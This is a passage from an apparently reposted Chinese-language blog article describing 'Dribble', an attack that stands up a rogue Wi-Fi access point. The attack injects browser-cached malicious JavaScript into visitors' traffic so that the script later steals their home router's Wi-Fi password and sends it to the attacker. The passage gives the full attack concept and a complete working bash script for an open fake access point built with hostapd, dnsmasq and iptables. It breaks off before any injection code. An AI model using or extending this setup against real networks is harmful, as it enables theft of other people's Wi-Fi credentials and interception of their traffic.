当前位置 主页 > 服务器问题 > win服务器问题汇总 >
我一直想在这个小项目上花一些时间做一些研究,但是由于生活所迫让我总是一直繁忙。现在我终于可以抽出一些时间了继续研究这种攻击技术了,我将在本文中阐述我的研究成果。
很久以前,我学习了Vivek Ramachandran讲解的“无线局域网安全Megaprimer课程”(课程非常好,强烈推荐),顺便说一下,在我做旅行的时候,我住的那些不同的酒店都会提供Wi-Fi。毋庸置疑,我的大脑开始变得疯狂,因此我一直在思考获取Wi-Fi密码的“非常规”的方法。
Can't turn my brain off, you know. It's me.
We go into some place, and all I can do is see the angles. – Danny Ocean (Ocean's Twelve)
我即将描述的想法非常简单,可能也不是什么新的思路了。尽管如此,对我来说这是一种有趣的方式,让我将放在架子上一直吃灰的Raspberry Pi重新用了起来。
思路描述
我们的想法是利用网络浏览器的缓存来窃取Wi-Fi密码。因为我需要为项目起一个名字,所以我在开发完这个项目后将其命名为“Dribble”:-)。Dribble 会创建一个虚假的Wi-Fi接入点,并等待客户端连接它。当客户端连接时,dribble会拦截对JavaScript页面执行的每个HTTP请求,并在响应中注入恶意JavaScript代码。新响应的HTTP头也会被更改,以便恶意的JavaScript代码被缓存并强制在浏览器中保留。当客户端与虚假接入点断开连接并重新连接到家庭路由器时,恶意JavaScript代码将激活,从路由器窃取Wi-Fi密码并将密码发送给攻击者。 很简单,对吧?
为了达到这个攻击目的,我必须弄清楚这三件事:
如何创建虚假接入点
1.如何强迫人们连接到这个伪造的热点 2.恶意的JavaScript代码应如何从路由器窃取密码 3.如何创建虚假的无线接入点这非常简单,伪造的方法也包含在无线局域网安全Megaprimer课程中,并且有许多不同的github存储库和gist上的代码可以用来创建一个虚假的访问点。因此,我不会过多地描述细节,但为了完整起见,让我们讨论一下我使用的方法。我之前使用 hostapd 创建过Wi-Fi接入点,dnsmasq 作为DHCP服务器和DNS中继服务器,并使用 iptables 创建NAT网络。下面的bash脚本将创建一个非常简单的不受任何密码保护的Wi-Fi访问点。我在代码中添加了一些注释,希望能提高可读性。
#!/bin/bash # the internet interface internet=eth0 # the wifi interface phy=wlan0 # The ESSID ess # bring interfaces up ip link set dev $internet up ip link set dev $phy up ################## # DNSMASQ ################## echo " interface=$phy bind-interfaces # Set default gateway dhcp-option=3,10.0.0.1 # Set DNS servers to announce dhcp-option=6,10.0.0.1 dhcp-range=10.0.0.2,10.0.0.10,12h no-hosts no-resolv log-queries log-facility=/var/log/dnsmasq.log # Upstream DNS server server=8.8.8.8 server=8.8.4.4 " > tmp-dnsmasq.conf # start dnsmasq which provides DNS relaying service dnsmasq --conf-file=tmp-dnsmasq.conf ################## # IPTABLES ################## # Enable Internet connection sharing # configuring ip forwarding echo '1' > /proc/sys/net/ipv4/ip_forward # configuring NAT iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A FORWARD -i $phy -o $internet -j ACCEPT iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE ################## # HOSTAPD ################## echo "ctrl_interface=/var/run/hostapd interface=$phy # ESSID ssid=$essid driver=nl80211 auth_algs=3 channel=11 hw_mode=g # all mac addresses allowed macaddr_acl=0 wmm_enabled=0" > tmp-hotspot.conf # Start hostapd in screen hostapd echo "Start hostapd in screen hostapd" screen -dmS hostapd hostapd tmp-hotspot.conf